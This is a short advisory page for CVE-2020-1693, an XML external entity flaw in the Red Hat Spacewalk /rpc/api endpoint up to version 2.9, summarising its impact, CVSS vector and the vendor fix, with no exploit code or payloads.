CVE-2020-1693

CRITICAL Pub 17/02 Upd 04/08

Overview

This vulnerability is an XML External Entity (XXE) injection affecting the XML parser in Red Hat Spacewalk up to version 2.9. The flaw arises from improper handling and sanitization of XML input within the /rpc/api endpoint, allowing external entity references to be processed. The affected component is the XML parser integrated into the Spacewalk server's remote procedure call API, which fails to restrict or disable external entity resolution.

Vulnerability Description

A flaw was found in Spacewalk up to version 2.9 where it was vulnerable to XML internal entity attacks via the /rpc/api endpoint. An unauthenticated remote attacker could use this flaw to retrieve the content of certain files and trigger a denial of service, or in certain circumstances, execute arbitrary code on the Spacewalk server.

Impact

An unauthenticated remote attacker can exploit this vulnerability over the network without user interaction, leveraging the /rpc/api endpoint to retrieve sensitive file contents, cause denial of service, or execute arbitrary code on the Spacewalk server. This can lead to data breaches, service outages, or full system compromise. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms the attack requires no privileges or user interaction, highlighting the criticality of the flaw in exposed deployments.

Solution

Red Hat recommends upgrading Spacewalk to a patched version beyond 2.9 as detailed in Red Hat Bugzilla advisory ID 1821650 (https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1693). The fix involves disabling external entity processing in the XML parser within the /rpc/api endpoint. Users should apply the vendor-provided patches from the official Spacewalk project repository commit 74e28ec61d916c42061ef4347121650a1c962b0c and follow instructions outlined in the referenced Red Hat advisory for comprehensive remediation.
